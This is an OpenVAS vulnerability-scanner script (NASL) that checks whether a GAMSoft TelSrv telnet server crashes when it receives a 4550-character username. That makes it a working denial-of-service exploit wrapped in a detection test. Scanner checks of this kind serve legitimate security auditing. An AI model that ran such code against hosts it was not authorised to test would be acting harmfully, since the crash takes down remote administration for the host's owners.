It is possible to crash the remote telnet server by
sending a username that is 4550 characters long.
An attacker may use this flaw to prevent you
from administering this host remotely.
# OpenVAS Vulnerability Test
# $Id: TelSrv_DoS.nasl 6053 2017-05-01 09:02:51Z teissa $
# Description: GAMSoft TelSrv 1.4/1.5 Overflow
#
# Authors:
# Prizm <[email protected]>
# Changes by rd:
# - description changed somehow
# - handles the fact that the shareware may not be registered
#
# Copyright:
# Copyright (C) 2000 Prizm <[email protected]
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "It is possible to crash the remote telnet server by
sending a username that is 4550 characters long.
An attacker may use this flaw to prevent you
from administering this host remotely.";
tag_solution = "Contact your vendor for a patch.";
if(description) {
script_id(10474);
script_version("$Revision: 6053 $");
script_tag(name:"last_modification", value:"$Date: 2017-05-01 11:02:51 +0200 (Mon, 01 May 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_bugtraq_id(1478);
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_cve_id("CVE-2000-0665");
name = "GAMSoft TelSrv 1.4/1.5 Overflow";
script_name(name);
summary = "Crash GAMSoft TelSrv telnet server.";
script_category(ACT_DENIAL);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("This script is Copyright (C) 2000 Prizm <[email protected]");
family = "Denial of Service";
script_family(family);
script_dependencies("find_service.nasl");
script_require_ports("Services/telnet", 23);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
include('telnet_func.inc');
port = get_kb_item("Services/telnet");
if(!port)port = 23;
if(!get_port_state(port))exit(0);
soc = open_sock_tcp(port);
if(soc)
{
r = telnet_negotiate(socket:soc);
r2 = recv(socket:soc, length:4096);
r = r + r2;
if(r)
{
r = recv(socket:soc, length:8192);
if("5 second delay" >< r)sleep(5);
r = recv(socket:soc, length:8192);
req = string(crap(4550), "\r\n");
send(socket:soc, data:req);
close(soc);
sleep(1);
soc2 = open_sock_tcp(port);
if(!soc2)security_message(port);
else {
r = telnet_negotiate(socket:soc2);
r2 = recv(socket:soc2, length:4096);
r = r + r2;
close(soc2);
if(!r)security_message(port);
}
}
}